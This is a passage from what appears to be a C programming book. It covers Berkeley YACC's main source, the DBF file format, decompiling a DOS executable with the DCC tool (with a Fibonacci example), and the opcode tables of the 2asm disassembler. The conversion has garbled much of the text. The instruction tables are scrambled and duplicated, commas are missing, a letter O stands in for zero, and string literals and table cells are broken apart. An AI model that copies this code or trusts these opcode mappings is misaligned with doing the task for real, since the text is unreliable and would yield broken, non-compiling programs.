short *ritem;
short *rlhs;
short *rrhs;
short *rprec;
char *rassoc;
short **derives;
char *nullable;
extern char *mktemp();
extern char *getenv();
done (k)
int k;
{
    if (action_file) { fclose(action_file); unlink(action_file_name); }
    if (text_file) { fclose(text_file); unlink(text_file_name); }
    if (union_file) { fclose(union_file); unlink(union_file_name); }
    exit(k);
}
void onintr() /* last revision deletes the "void" */
{
    done(1);
}
set_signals()
{
#ifdef SIGINT
    if (signal(SIGINT, SIG_IGN) != SIG_IGN)
                signal(SIGINT, onintr);
#endif
#ifdef SIGTERM
    if (signal(SIGTERM, SIG_IGN) != SIG_IGN)
        signal(SIGTERM, onintr);
#endif
#ifdef SIGHUP
    if (signal(SIGHUP, SIG_IGN) != SIG_IGN)
        signal(SIGHUP, onintr);
```


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```
#endif
}
usage()
{
    fprintf(stderr, "Yacc (Berkeley) 09/09/90\n");
    fprintf(stderr, "Usage: %s [-dlrtv] [-b file_prefix] filename\n\n",
myname);
    fprintf(stderr, "\t-b file_prefix change the default file prefix
\"y.\"\n");
    fprintf(stderr, "\t-d\t\twrite the header file \"y.tab.h\"\n");
    fprintf(stderr, "\t-l\t\texclude the #line directives in files\n");
    fprintf(stderr, "\t-r\t\tseperate code and tables into \"y.code.c\"
and \"y.tab.c\"\n");
    fprintf(stderr, "\t-t\t\tinclude the debugging code in files\n");
fprintf(stderr, "\t-v\t\twrite the parser description file
\"y.output\"\n");
    exit(1);
}
getargs(argc, argv)
int argc;
char *argv[];
{
    register int i;
    register char *s;
    if (argc > 0) myname = argv[0];
    for (i = 1; i < argc; ++i)
    {
        s = argv[i];
        if (*s != '-') break;
        switch (*++s)
        {
        case '\0':
                input_file = stdin;
                if (i + 1 < argc) usage();
                return;
            case '-':
                ++i;
                goto no_more_options;
            case 'b':
                if (*++s)
                    file_prefix = s;
```

```
    else if (++i < argc)
    file_prefix = argv[i];
    else
        usage();
    continue;
case 'd':
    dflag = 1;
    break;
case 'l':
    lflag = 1;
    break;
case 'r':
rflag = 1;
break;
case 't':
    tflag = 1;
    break;
case 'v':
    vflag = 1;
    break;
default:
    usage();
}
for (;;)
{
    switch (*++s)
    {
    case '\0':
        goto end_of_option;
    case 'd':
        dflag = 1;
        break;
    case 'l':
        lflag = 1;
        break;
case 'r':
rflag = 1;
```


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```
        break;
            case 't':
            tflag = 1;
            break;
            case 'v':
            vflag = 1;
            break;
            default:
            usage();
            }
                }
end_of_option:;
    }
no_more_options:;
    if (i + 1 != argc) usage();
    input_file_name = argv[i];
}
char *
allocate(n)
unsigned n;
{
    register char *p;
    p = NULL;
    if (n)
    {
        p = CALLOC (1, n);
        if (!p) no_space();
    }
    return (p);
}
create_file_names()
{
    int i, len;
    char *tmpdir;
#ifdef MSDOS
    (tmpdir = getenv("TMPDIR"))
            (tmpdir = getenv("TMP"))
            (tmpdir = ".");
#else
```

```
    tmpdir = getenv("TMPDIR");
    if (tmpdir == O) tmpdir = "/tmp";
#endif
len = strlen(tmpdir);
i = len + 13;
if (len && tmpdir[len-1] != '/')
        ++i;
action_file_name = MALLOC(i);
if (action_file_name == 0) no_space();
text_file_name = MALLOC(i);
if (text_file_name == 0) no_space();
union_file_name = MALLOC(i);
if (union_file_name == 0) no_space();
strcpy(action_file_name, tmpdir);
strcpy(text_file_name, tmpdir);
strcpy(union_file_name, tmpdir);
if (len && tmpdir[len - 1] != '/')
{
        action_file_name[len] = '/';
        text_file_name[len] = '/';
        union_file_name[len] = '/';
        ++len;
}
strcpy(action_file_name + len, temp_form);
strcpy(text_file_name + len, temp_form);
strcpy(union_file_name + len, temp_form);
action_file_name[len + 5] = 'a';
text_file_name[len + 5] = 't';
union_file_name[len + 5] = 'u';
mktemp(action_file_name);
mktemp(text_file_name);
mktemp(union_file_name);
len = strlen(file_prefix);
    output_file_name = MALLOC(len + 7);
    if (output_file_name == 0)
        no_space();
    strcpy(output_file_name, file_prefix);
    strcpy(output_file_name + len, OUTPUT_SUFFIX);
```


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```
    if (rflag)
    {
        code_file_name = MALLOC(len + 8);
        if (code_file_name == 0)
            no_space();
    strcpy(code_file_name, file_prefix);
    strcpy(code_file_name + len, CODE_SUFFIX);
    }
    else
        code_file_name = output_file_name;
if (dflag)
{
    /* the number 7 below is the size of ".tab.h"; sizeof is not
used */
    /* because of a C compiler that thinks sizeof(".tab.h") == 6 */
    defines_file_name = MALLOC(len + 7);
    if (defines_file_name == 0)
                no_space();
    strcpy(defines_file_name, file_prefix);
    strcpy(defines_file_name + len, DEFINES_SUFFIX);
}
if (vflag)
{
        verbose_file_name = MALLOC(len + 8);
        if (verbose_file_name == 0)
            no_space();
        strcpy(verbose_file_name, file_prefix);
        strcpy(verbose_file_name + len, VERBOSE_SUFFIX);
    }
}
open_files()
{
    create_file_names();
    if (input_file == 0)
    {
        input_file = fopen(input_file_name, "r");
        if (input_file == 0)
            open_error(input_file_name);
    }
action_file = fopen(action_file_name, "w");
if (action_file == 0) open_error(action_file_name);
```

```
    text_file = fopen(text_file_name, "w");
    if (text_file == 0) open_error(text_file_name);
    if (vflag)
    {
        verbose_file = fopen(verbose_file_name, "w");
        if (verbose_file == 0) open_error(verbose_file_name);
    }
    if (dflag)
    {
        defines_file = fopen(defines_file_name, "w");
        if (defines_file == 0) open_error(defines_file_name);
        union_file = fopen(union_file_name, "w");
        if (union_file == 0) open_error(union_file_name);
    }
    output_file = fopen(output_file_name, "w");
    if (output_file == 0) open_error(output_file_name);
    if (rflag)
    {
            code_file = fopen(code_file_name, "w");
            if (code_file == 0)
                open_error(code_file_name);
    }
    else
            code_file = output_file;
}
int
main(argc, argv)
int argc;
char *argv[];
{
    set_signals();
    getargs(argc, argv);
    open_files();
    reader();
    lr0();
    lalr();
    make_parser();
    verbose();
    output();
    done(0);
    /*NOTREACHED*/
}
```


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### 49.2.3 Compiling BYACC

In order to compile all the above files create a project file called Byacc.prj and add all the above files to it. Then make EXE file for that project file. Now you get a YACC for DOS. Use it with your own set of grammar.

## 50 "It is better to finish something than to start it." <br> Developing a Database Package

DBMS (Database Management System) is a vast area. In DBMS we have many theories and algorithms for managing data. This book does not deal the DBMS basics. So I recommend you to go through a good book on DBMS for indepth knowledge in that area. Indepth knowledge on DBMS is necessary for developing our own Database Package. In this chapter I won't describe the DBMS fundamentals instead I am going to present the file organization of database files.

### 50.1 Basic Idea

Database Package will have its own set of keywords, operators and statements. So you have to come out with the grammar for your new database package. It is similar to the development of a new programming language. It must also respond to queries. You can use YACC for developing the compiler for the database package. The important thing here is, the organization or file format of the database.

### 50.2 File format for DBF file

Following is the file format for .dbf file. (Courtesy: Peter Mikalajunas)

| DBF FI LE STRUCTURE |  |
| :---: | :--- |
| BYTES | DESCRI PTI ON |
| 00 | FoxBase+, FoxPro, dBaselII +, dBaselV, no memo - 0x03 <br> FoxBase+, dBaselII + with memo - 0x83 <br> FoxPro with memo - 0xF5 <br> dBaselV with memo - 0x8B <br> dBaselV with SQL Table - 0x8E |
| $01-03$ | Last update, format YYYYMMDD ** correction: it is YYMMDD** |
| $04-07$ | Number of records in file (32-bit number) |
| $08-09$ | Number of bytes in header (16-bit number) |
| $10-11$ | Number of bytes in record (16-bit number) |
| $12-13$ | Reserved, fill with 0x00 |
| 14 | dBaselV flag, incomplete transaction <br> Begin Transaction sets it to 0x01 <br> End Transaction or RollBack reset it to 0x00 |
| 15 | Encryption flag, encrypted 0x01 else 0x00 |
| $16-27$ | Changing the flag does not encrypt or decrypt the records |
| 28 | dBaselV multi-user environment use |
| Production index exists -0x01 else 0x00 |  |
| 527 |  |

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| BYTES | DESCRIPTI ON |  |
| :---: | :--- | :---: |
| 29 | dBaselV language driver ID |  |
| $30-31$ | Reserved fill with 0x00 |  |
| $32-\mathrm{n}$ | Field Descriptor array |  |
| $\mathrm{N}+1$ | Header Record Terminator - 0x0D |  |
|  |  |  |
| FIELD DESCRI PTOR ARRAY TABLE |  |  |
| BYTES | DESCRI PTI ON |  |
| $0-10$ | Field Name ASCII padded with 0x00 |  |
| 11 | Field Type Identifier (see table) |  |
| $12-15$ | Displacement of field in record |  |
| 16 | Field length in bytes |  |
| 17 | Field decimal places |  |
| $18-19$ | Reserved |  |
| 20 | dBaselV work area ID |  |
| $21-30$ | Reserved |  |
| 31 | Field is part of production index - 0x01 else 0x00 |  |
|  |  |  |
| FIELD IDENTI FI ER TABLE |  |  |
| ASCII | DESCRI PTI ON |  |
| C | Character |  |
| D | Date, format YYYYMMDD |  |
| F | Floating Point |  |
| G | General - FoxPro addition |  |
| L | Logical, T:t,F:f,Y:y,N: $n, ?$ ?-not initialized |  |
| M | Memo (stored as 10 digits representing the dbt block number) |  |
| N | Numeric |  |
| P | Picture - FoxPro addition |  |
| Note all dbf field records begin with a deleted flag field. |  |  |
| If record is deleted - 0x2A (asterisk) else 0x20 (space) |  |  |
| End of file is marked with 0x1A |  |  |

### 50.3 Security

Applying security to the database file is considered to be hard. Oracle came out with a very good security system. So we cannot look into the database file created from Oracle! And thus stealing of data is restricted. This is considered to be a tough task. By the way, you won't find any difficulty in creating FoxPro like Database Package. I hope this information would help you to develop your own Database Package.

## 51

## Decompilation / EXE to C

Decompilation is the reverse of compilation. That is, we can get a C file from EXE file! The most important problem in converting back C file from EXE file is loss of variable names and loss of function names. Machine code won't store variable names. So it is not at all possible to get back the original C code.

### 51.1 Basic Idea

Since it is a reverse of compilation, we must analyze how a compiler works and the corresponding machine code for the functions like printf( ), scanf( ) etc. In other words, we must find the 'signature' of each C functions and C statements.

### 51.2 DCC

### 51.2.1 Disclaimer

DCC is a decompiler written by Cristina Cifuentes and Mike Van Emmerik while at the Queensland University of Technology, Australia. Copyright is owned by Cristina Cifuentes and the Queensland University of Technology. DCC is merely a prototype tool and more work needs to be done in order to have a fully working decompiler.

## I mportant Notice

I have received permission to use the article about DCC from the authors (Cristina Cifuentes and Mike Van Emmerik) with the condition of including the above disclaimer note. As Cristina Cifuentes and Mike Van Emmerik are not currently involving in decompililation, it seems they don't like to receive any request or correspondence regarding their decompilation work. So the reader is requested not to disturb them.

### 51.2.2 Notice

Decompilation is a technique that allows you to recover lost source code. It is also needed in some cases for computer security, interoperability and error correction. dcc, and any decompiler in general, should not be used for "cracking" other programs, as programs are protected by copyright. Cracking of programs is not only illegal but it rides on other's creative effort.

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### 51.2.3 DCC Facts

The dcc decompiler decompiles .exe files from the (i386, DOS) platform to C programs. The final C program contains assembler code for any subroutines that are not possible to be decompiled at a higher level than assembler.

The analysis performed by dcc is based on traditional compiler optimization techniques and graph theory. The former is capable of eliminating registers and intermediate instructions to reconstruct high-level statements; the later is capable of determining the control structures in each subroutine.

Please note that at present, only C source is produced; dcc cannot (as yet) produce $\mathrm{C}++$ source.

The structure of a decompiler resembles that of a compiler: a front-, middle-, and backend which perform separate tasks. The front-end is a machine-language dependent module that reads in machine code for a particular machine and transforms it into an intermediate, machineindependent representation of the program. The middle-end (aka the Universal Decompiling Machine or UDM) is a machine and language independent module that performs the core of the decompiling analysis: data flow and control flow analysis. Finally, the back-end is high-level language dependent and generates code for the program ( C in the case of dcc).

In practice, several programs are used with the decompiler to create the high-level program. These programs aid in the detection of compiler and library signatures, hence augmenting the readability of programs and eliminating compiler start-up and library routines from the decompilation analysis.

### 51.2.4 Example of Decompilation

We illustrate the decompilation of a fibonacci program (see Figure 4). Figure 1 illustrates the relevant machine code of this binary. No library or compiler start up code is included. Figure 2 presents the disassembly of the binary program. All calls to library routines were detected by dccSign (the signature matcher), and thus not included in the analysis. Figure 3 is the final output from dcc. This C program can be compared with the original C program in Figure 4.


Figure 1 - Machine Code for Fibonacci.exe


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| 016 | 0004 DF | 50 |  | PUSH |  | ax |
| :---: | :---: | :---: | :---: | :---: | :---: | :---: |
| 017 | 0004E0 | 9A07000102 |  | CALL | far ptr | scanf |
| 018 | 0004E5 | 83C408 |  | ADD |  | sp, 8 |
| 019 | 0004 E 8 | BE0100 |  | MOV |  | si, 1 |
| 021 | 000528 | 3B76FC | L3: | CMP |  | si, [bp-4] |
| 022 | 00052B | 7EC0 |  | JLE |  | L4 |
| 023 | 00052D | 33 C 0 |  | XOR |  | ax, ax |
| 024 | 00052F | 50 |  | PUSH |  | ax |
| 025 | 000530 | 9A0A005A00 |  | CALL | far ptr | exit |
| 026 | 000535 | 59 |  | POP |  | cx |
| 027 | 000536 | 5F |  | POP |  | di |
| 028 | 000537 | 5E |  | POP |  | si |
| 029 | 000538 | 8BE5 |  | MOV |  | sp, bp |
| 030 | 00053A | 5D |  | POP |  | bp |
| 031 | 00053B | CB |  | RETF |  |  |
| 032 | 0004 ED | 1E | L4: | PUSH |  | ds |
| 033 | 0004EE | B8B400 |  | MOV |  | ax, 0B4h |
| 034 | 0004F1 | 50 |  | PUSH |  | ax |
| 035 | 0004F2 | 9A0E004D01 |  | CALL | far ptr | printf |
| 036 | 0004 F 7 | 59 |  | POP |  | cx |
| 037 | 0004 F 8 | 59 |  | POP |  | CX |
| 038 | 0004 F 9 | 16 |  | PUSH |  | ss |
| 039 | 0004 FA | 8D46FE |  | LEA |  | ax, [bp-2] |
| 040 | 0004 FD | 50 |  | PUSH |  | ax |
| 041 | 0004 FE | 1E |  | PUSH |  | ds |
| 042 | 0004 FF | B8C300 |  | MOV |  | ax, 0C3h |
| 043 | 000502 | 50 |  | PUSH |  | ax |
| 044 | 000503 | 9A07000102 |  | CALL | far ptr | scanf |
| 045 | 000508 | 83C408 |  | ADD |  | sp, 8 |
| 046 | 00050B | FF76FE |  | PUSH | word ptr | [bp-2] |
| 047 | 00050E | 9A7C004C00 |  | CALL | far ptr | proc_1 |
| 048 | 000513 | 59 |  | POP |  | cx |
| 049 | 000514 | 8BF 8 |  | MOV |  | di, ax |
| 050 | 000516 | 57 |  | PUSH |  | di |
| 051 | 000517 | FF76FE |  | PUSH | word ptr | [bp-2] |
| 052 | 00051 A | 1E |  | PUSH |  | ds |
| 053 | 00051B | B8C600 |  | MOV |  | ax, 0c6h |
| 054 | 00051 E | 50 |  | PUSH |  | ax |
| 055 | 00051 F | 9A0E004D01 |  | CALL | far ptr | printf |
| 056 | 000524 | 83C408 |  | ADD |  | sp, 8 |
| 057 | 000527 | 46 |  | INC |  | si |
| 058 |  |  |  | JMP |  | L3 |
|  |  | main |  |  |  |  |

; Synthetic inst

Figure 2 - Code produced by the Disassembler

```
/*
    * Input file : fibo.exe
    * File type : EXE
    */
int proc_1 (int arg0)
/* Takes 2 bytes of parameters.
    * High-level language prologue code.
    * C calling convention.
    */
{
int loc1;
int loc2; /* ax */
    loc1 = arg0;
    if (loc1 > 2) {
        loc2 = (proc_1 ((loc1 - 1)) + proc_1 ((loc1 + 0xFFFE)));
    }
    else {
        loc2 = 1;
    }
    return (loc2);
}
void main ( )
/* Takes no parameters.
    * High-level language prologue code.
    */
{
int loc1;
int loc2;
int loc3;
int loc4;
    printf ("Input number of iterations: ");
    scanf ("%d", &loc1);
    loc3 = 1;
    while ((loc3 <= loc1)) {
            printf ("Input number: ");
            scanf ("%d", &loc2);
            loc4 = proc_1 (loc2);
            printf ("fibonacci(%d) = %u\n", loc2, loc4);
            loc3 = (loc3 + 1);
    } /* end of while */
    exit (0);
}
```

Figure 3 - Code produced by dcc in C

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```
#include <stdio.h>
int main( )
{ int i, numtimes, number;
    unsigned value, fib();
    printf("Input number of iterations: ");
    scanf ("%d", &numtimes);
    for (i = 1; i <= numtimes; i++)
    {
            printf ("Input number: ");
            scanf ("%d", &number);
            value = fib(number);
            printf("fibonacci(%d) = %u\n", number, value);
        }
        exit(0);
}
unsigned fib(x) /* compute fibonacci number recursively */
int
        x;
{
    if (x > 2)
        return (fib(x - 1) + fib(x - 2));
    else
            return (1);
}
```

Figure 4 - Initial / Original C Program


## Writing Disassembler

Disassembler is the one which produces Assembly code for a given binary (EXE / COM)file. In this chapter let's see how to write a disassembler.

### 52.1 Prelude

We have already seen about assembler, linker and compiler. While we were discussing about decompilation (converting EXE file to C), we used disassembler to convert a binary file to assembly file. Thus disassembler provides a way to view the binary file with certain readability. In otherwords, disassembler can be used to read or edit a binary file in a better way.

Debugger is a tool to edit binary files. DOS's DEBUG is one such readily available Debugger. We also have other efficient Debuggers like TD (Turbo Debugger) etc. All debuggers use disassembler to provide assembly listing.


### 52.2 Secrets

In binary files the machine instructions are stored. Each binary code represents certain assembly instruction. So for writing disassembler, you need to know machine codes and corresponding assembly instructions. Disassembling is simply the reverse of assembling.

### 52.3 2asm

2asm is a disassembler utility that converts binary files to $80 \times 86$ assembler. The code was originally from the GNU C++ debugger, as ported to DOS by DJ Delorie and Kent Williams. Later Robin Hilliard modified it. This code was licensed under GNU's GPL. This disassembler is entirely table driven so one can easily change the instructions. When I checked this code it worked better than DOS's DEBUG. According to me it is really good as it uses tough logic.

The emulated coprocessor instructions on interrupts 34--3E are disassembled if the "-e" command line option is specified.

Command line switches (case sensitive):
-e : Disassemble (unoverridden) emulated 80*87 instructions (not default)
-3: Assume code is 32 bit (default==16)
-x : Output all numbers in pure hex (no leading zeros or trailing " h "s.)

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-s : Don't specify operand size (ie omit "byte ptr", "word ptr" and "dword ptr" from instruction output
-d : Don't specify distance of calls and jumps (near/far/short) (not default)

### 52.3.1 Table.c

Following is the table implementation for the disassembler. By the term table we mean array. It is wise to place the corresponding instructions in the array, so that we can fetch it for the given opcode.

```
/* Percent tokens in strings:
    First char after '%':
        A - direct address
        C - reg of r/m picks control register
        D - reg of r/m picks debug register
        E - r/m picks operand
        F - flags register
        G - reg of r/m picks general register
        I - immediate data
    J - relative IP offset
+ K - call/jmp distance
    M - r/m picks memory
    O - no r/m, offset only
    R - mod of r/m picks register only
    S - reg of r/m picks segment register
    T - reg of r/m picks test register
    X - DS:ESI
    Y - ES:EDI
    2 - prefix of two-byte opcode
+ e - put in 'e' if use32 (second char is part of reg name)
+ put in 'w' for use16 or 'd' for use32 (second char is 'w')
+ j - put in 'e' in jcxz if prefix==0x66
    f - floating point (second char is esc value)
    g - do r/m group 'n', n==0..7
    p - prefix
    s - size override (second char is a,o)
+ d - put d if double arg, nothing otherwise (pushfd, popfd &c)
+ w - put w if word, d if double arg, nothing otherwise
    (lodsw/lodsd)
+ P - simple prefix
    Second char after '%':
        a - two words in memory (BOUND)
        b - byte
        c - byte or word
    d - dword
+ f - far call/jmp
```

```
+ n - near call/jmp
    p - 32 or 48 bit pointer
    q - byte/word thingy
    s - six byte pseudo-descriptor
    v - word or dword
        w - word
        x - sign extended byte
        F - use floating regs in mod/rm
        1-8 - group number, esc value, etc
*/
```

/* watch out for aad \&\& aam with odd operands */

```
char *opmap1[256] = {
/* 0 */
    "add %Eb,%Gb",
    "add al,%Ib",
    "or %Eb,%Gb",
    "Or al,%Ib",
/* 1 */
    "adc %Eb,%Gb",
    "adc al,%Ib",
    "sbb %Eb,%Gb",
    "sbb al,%Ib",
/* 2 */
    "and %Eb,%Gb",
    "and al,%Ib",
    "sub %Eb,%Gb",
    "sub al,%Ib",
/* 3 */
    "xor %Eb,%Gb",
    "xor al,%Ib",
    "cmp %Eb,%Gb",
    "cmp al,%Ib",
/* 4 */
    "inc %eax",
    "inc %esp",
    "dec %eax",
    "dec %esp",
/* 5 */
    "push %eax",
    "push %esp",
    "pop %eax",
    "pop %esp",
/* 6 */
    "pusha%d ",
"add %Ev,%Gv",
"add %eax,%Iv",
"or %Ev,%Gv",
"or %eax,%Iv",
"adc %Ev,%Gv",
"adc %eax,%Iv",
"sbb %Ev,%Gv",
"sbb %eax,%Iv",
"and %Ev,%Gv",
"and %eax,%Iv",
"sub %Ev,%Gv",
"sub %eax, %Iv",
"xor %Ev,%Gv",
"xor %eax,%Iv",
"cmp %Ev,%Gv",
"cmp %eax,%Iv",
"inc %ecx",
"inc %ebp",
"dec %ecx",
"dec %ebp",
"push %ecx",
"push %ebp",
"pop %ecx",
"pop %ebp",
"popa%d ",
```

```
"add %Gb,%Eb", "add %Gv,%Ev",
"push es", "pop es",
"or %Gb,%Eb", "or %Gv,%Ev",
"push cs", "%2 ",
"adc %Gb, %Eb", "adc %Gv,%Ev",
"push ss", "pop ss",
"sbb %Gb, %Eb", "sbb %Gv, %Ev",
"push ds",
    "pop ds",
"and %Gb, %Eb", "and %Gv, %Ev",
"%pe", "daa",
"sub %Gb, %Eb", "sub %Gv, %Ev",
"%pc", "das",
"xor %Gb,%Eb", "xor %Gv,%Ev",
"%ps", "aaa",
"cmp %Gb,%Eb", "cmp %Gv,%Ev",
"%pd", "aas",
"inc %edx", "inc %ebx",
"inc %esi", "inc %edi",
"dec %edx", "dec %ebx",
"dec %esi", "dec %edi",
"push %edx", "push %ebx",
"push %esi", "push %edi",
"pop %edx",
"pop %esi",
"pop %ebx",
    "pop %edi",
"bound %Gv, %Ma","arpl %Ew, %Rw",
```


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```
    "\%pf",
    "push \%Iv",
    "insb",
/* 7 */
    "jo \%Jb",
    "je \%Jb",
    "js \%Jb",
    "jl \%Jb",
/* 8 */
/* "\%g0 \%Eb, \%Ib",
*/
    "\%g0 \%Eb, \%Ib",
    "test \%Eb, \%Gb",
    "mov \%Eb, \%Gb",
    "mov \%Ew, \%Sw",
/* 9 */
    "nop",
    "xchg \%esp, \%eax",
    "cbw",
    "pushf\%d ",
/* a */
    "mov al,\%Oc",
    "\%P movsb",
    "test al,\%Ib",
    "\%P lodsb",
/* b */
    "mov al, \%Ib",
    "mov ah, \%Ib",
    "mov \%eax, \%Iv",
    "mov \%esp, \%Iv",
/* c */
    "\%g1 \%Eb, \%Ib",
    "les \%Gv, \%Mp",
    "enter \%Iw, \%Ib",
    "int 03",
/* d */
    "\%g1 \%Eb,1",
    "aam ; \%Ib",
\#if 0
    "esc 0,\%Ib",
    "esc 4,\%Ib",
\#else
    "\%f0",
    "\%f4",
\#endif
/* e */
```

    "loopne \%Jb", "loope \%Jb", "loop \%Jb", "j\%j cxz \%Jb",
    ```
    "in al,%Ib", "in %eax,%Ib", "out %Ib,al", "out %Ib,%eax",
    "call %Jv",
    "in al,dx",
/* f */
    "lock %p ",
    "hlt",
    "clc"
    "cld
    "cld",
"jmp %Jv",
"in %eax,dx",
0,
"cmc",
"stc",
"std",
"jmp %Ap",
"out dx,al",
    "jmp %Ks%Jb",
"out dx,%eax",
"repne %p ",
"repe %p ",
"%g2",
"%g2",
"cli",
"%g3", "%g4"
"sti",
};
```

```
char *second[] = {
```

char *second[] = {
/* 0 */
/* 1 */
/* 2 */
/* 4 */
/* 5 */
/* 6 */

```
"\%g5"
0 ,
"invd",
0 ,
"mov \%Eb, \%Gb",
0 ,
0 ,
0 ,
"mov \%Rd, \%Cd",
"mov \%Rd, \%Td",
0 ,
0 , /* 3 */
\(0,0,0,0,0,0,0,0\),
\(0,0,0,0,0,0,0,0\),
\(0,0,0,0,0,0,0,0\),
\(0,0,0,0,0,0,0,0\),
\(0,0,0,0,0,0,0,0\),
\(0,0,0,0,0,0,0,0\),
\(0,0,0,0,0,0,0,0\),
\(0,0,0,0,0,0,0,0\), /* 7 */
\(0,0,0,0,0,0,0,0\),
\(0,0,0,0,0,0,0,0\), /* 8 */
"jo \%Jv", "jno \%Jv",
"jz \%Jv",
"js \%Jv",
"jl \%Jv",
"jnz \%Jv",
"jns \%Jv",
"jge \%Jv",
```

```
"jb %Jv",
```

```
"jb %Jv",
"jbe %Jv",
"jbe %Jv",
"jp %Jv",
"jp %Jv",
"jle %Jv",
"jle %Jv",
"jnb %Jv",
"jnb %Jv",
"ja %Jv",
"ja %Jv",
"jnp %Jv",
"jnp %Jv",
"jg %Jv",
```

```
"jg %Jv",
```

```

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```

/* 9 */
"seto %Eb", "setno %Eb", "setc %Eb", "setnc %Eb",
"setz %Eb", "setnz %Eb", "setbe %Eb", "setnbe %Eb",
"sets %Eb", "setns %Eb", "setp %Eb", "setnp %Eb",
"setl %Eb", "setge %Eb", "setle %Eb", "setg %Eb",
/* a */
"push fs", "pop fs", 0, "bt %Ev,%Gv",
"shld %Ev,%Gv,%Ib", "shld %Ev, %Gv,cl", 0,
"push gs", "pop gs", 0,
"shrd %Ev,%Gv,%Ib", "shrd %Ev, %Gv,cl", 0,
/* b */
"cmpxchg %Eb,%Gb", "cmpxchg %Ev, %Gv", "lss %Mp", "btr %Ev,%Gv",
"lfs %Mp", "lgs %Mp", "movzx %Gv,%Eb","movzx %Gv,%Ew",
0, 0,
"bsf %Gv,%Ev", "bsr %Gv,%Ev", "movsx %Gv,%Eb","movsx %Gv,%Ew",
/* c */
"xadd %Eb,%Gb",
0,
"bswap eax",
"bswap esp",
/* d */
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
/* e */
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
/* f */
0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0,
};
char *groups[][8] = { /* group 0 is group 3 for %Ev set */
/* 0 */
{ "add",
"and",
"or",
"sub",
},
/* 1 */
{ "rol",
"ror",
"shr",
},
{ "rol",
{ "rol",
{ "rol",
/* 3 */
{ "inc %Eb"
0,
},
"test %Eq,%Iq",
"not %Ev",
"imul %Ec",
"adc",
"xor",
"sbb" "
"rcl", "rcr",
"dec %Eb",
0,
0, 0,
0, 0

```
```

/* 4 */
{ "inc %Ev", "dec %Ev", "call %Kn%Ev", "call %Kf%Ep",
"jmp %Kn%Ev", "jmp %Kf%Ep",
"push %Ev", 0
},
/* 5 */
{ "sldt %Ew", "str %Ew", "lldt %Ew", "ltr %Ew",
},
/* 6 */
{ "sgdt %Ms", "sidt %Ms", "lgdt %Ms", "lidt %Ms",
"smsw %Ew", 0,
"lmsw %Ew", 0
},
/* 7 */
{ 0, 0,
}
};
/* zero here means invalid. If first entry starts with '*', use st(i)
*/
/* no assumed %EFs here. Indexed by RM(modrm())
*/
char *f0[] = { 0, 0, 0, 0, 0, 0, 0, 0};
char *fop_9[] = { "*fxch st,%GF" };
char *fop_10[] = { "fnop", 0, 0, 0, 0, 0, 0, 0 };
char *fop_12[] = { "fchs", "fabs", 0, 0, "ftst", "fxam", 0, 0 };
char *fop_13[] = { "fld1", "fldl2t", "fldl2e", "fldpi",
"fldlg2", "fldln2", "fldz", 0 };
char *fop_14[] = { "f2xm1", "fyl2x", "fptan", "fpatan",
"fxtract", "fprem1", "fdecstp", "fincstp" };
char *fop_15[] = { "fprem", "fyl2xp1", "fsqrt", "fsincos",
"frndint", "fscale", "fsin", "fcos" };
char *fop_21[] = { 0, "fucompp", 0, 0, 0, 0, 0, 0 };
char *fop_28[] = { 0, 0, "fclex", "finit", 0, 0, 0, 0 };
char *fop_32[] = { "*fadd %GF,st" };
char *fop_33[] = { "*fmul %GF,st" };
char *fop_36[] = { "*fsubr %GF,st" };
char *fop_37[] = { "*fsub %GF,st" };
char *fop_38[] = { "*fdivr %GF,st" };
char *fop_39[] = { "*fdiv %GF,st" };
char *fop_40[] = { "*ffree %GF" };
char *fop_42[] = { "*fst %GF" };
char *fop_43[] = { "*fstp %GF" };
char *fop_44[] = { "*fucom %GF" };
char *fop_45[] = { "*fucomp %GF" };
char *fop_48[] = { "*faddp %GF,st" };
char *fop_49[] = { "*fmulp %GF,st" };

```

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```

char *fop_51[] = { 0, "fcompp", 0, 0, 0, 0, 0, 0 };
char *fop_52[] = { "*fsubrp %GF,st" };
char *fop_53[] = { "*fsubp %GF,st" };
char *fop_54[] = { "*fdivrp %GF,st" };
char *fop_55[] = { "*fdivp %GF,st" };
char *fop_60[] = { "fstsw ax", 0, 0, 0, 0, 0, 0, 0 };
char **fspecial[] = { /* 0=use st(i), l=undefined 0 in fop_* means
undefined */
0, 0, 0, 0, 0, 0, 0, 0,
0, fop_9, fop_10, 0, fop_12, fop_13, fop_14, fop_15,
f0, f0, f0, f0, f0, fop_21, f0, f0,
f0, f0, f0, f0, fop_28, f0, f0, f0,
fop_32, fop_33, f0, f0, fop_36, fop_37, fop_38, fop_39,
fop_40, f0, fop_42, fop_43, fop_44, fop_45, f0, f0,
fop_48, fop_49, f0, fop_51, fop_52, fop_53, fop_54, fop_55,
f0, f0, f0, f0, fop_60, f0, f0, f0,
};

```
```

char *floatops[] = { /* assumed " %EF" at end of each. mod != 3 only */

```
char *floatops[] = { /* assumed " %EF" at end of each. mod != 3 only */
/*OO*/ "fadd", "fmul", "fcom", "fcomp",
/*OO*/ "fadd", "fmul", "fcom", "fcomp",
    "fsub", "fsubr", "fdiv", "fdivr",
    "fsub", "fsubr", "fdiv", "fdivr",
/*08*/ "fld", 0, "fst", "fstp",
/*08*/ "fld", 0, "fst", "fstp",
    "fldenv", "fldcw", "fstenv", "fstcw",
    "fldenv", "fldcw", "fstenv", "fstcw",
/*16*/ "fiadd", "fimul", "ficomw", "ficompw",
/*16*/ "fiadd", "fimul", "ficomw", "ficompw",
    "fisub", "fisubr", "fidiv", "fidivr",
    "fisub", "fisubr", "fidiv", "fidivr",
/*24*/ "fild", 0, "fist", "fistp",
/*24*/ "fild", 0, "fist", "fistp",
    "frstor", "fldt", 0, "fstpt",
    "frstor", "fldt", 0, "fstpt",
/*32*/ "faddq", "fmulq", "fcomq", "fcompq",
/*32*/ "faddq", "fmulq", "fcomq", "fcompq",
    "fsubq", "fsubrq", "fdivq", "fdivrq",
    "fsubq", "fsubrq", "fdivq", "fdivrq",
/*40*/ "fldq", 0, "fstq", "fstpq",
/*40*/ "fldq", 0, "fstq", "fstpq",
    0, 0, "fsave", "fstsw",
    0, 0, "fsave", "fstsw",
/*48*/ "fiaddw", "fimulw", "ficomw", "ficompw",
/*48*/ "fiaddw", "fimulw", "ficomw", "ficompw",
    "fisubw", "fisubrw", "fidivw", "fidivr",
    "fisubw", "fisubrw", "fidivw", "fidivr",
/*56*/ "fildw", 0, "fistw", "fistpw",
